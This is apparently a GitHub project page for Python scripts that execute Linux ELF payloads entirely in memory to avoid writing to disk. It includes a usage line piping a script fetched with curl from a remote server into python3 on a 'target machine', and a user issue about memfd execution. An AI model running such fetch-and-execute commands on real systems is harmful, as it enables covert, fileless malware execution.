Git Product home page Git Product logo

elf-in-memory-exec's Introduction

elf-in-memory-exec

Introduction

Python3 scripts that executes an elf (linux executable format) completely in memory, nothing is written in disk. All you need is python3 on your host to run it. There are two scripts for two use cases:

  • download_exec_elf_in_memory.py : Download and execute an elf in memory (payload url must be provided; staged)
  • exec_elf_in_memory.py : Execute an elf in memory (payload is embedded in the script itself; unstaged)

Usage

First, modify the script on your machine, set the necessary inputs under the #MAIN CODE section for whichever script you use. Follow the comments in the code.

Second, on target machine, as an example, run:

curl http://your-server/exec_elf_in_memory.py | python3

elf-in-memory-exec's People

Contributors

captain-woof avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

elf-in-memory-exec's Issues

30 - Unable to open specified file?

Hi,
My ELF is at

PATH = /home/wols/test

When I try run from path, it work.

os.execve(PATH, args, dict(os.environ))

But if I try run from memfd, I got "30 - Unable to open specified file?"

os.execve(fname,args,dict(os.environ))

Did I do some thing wrong?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.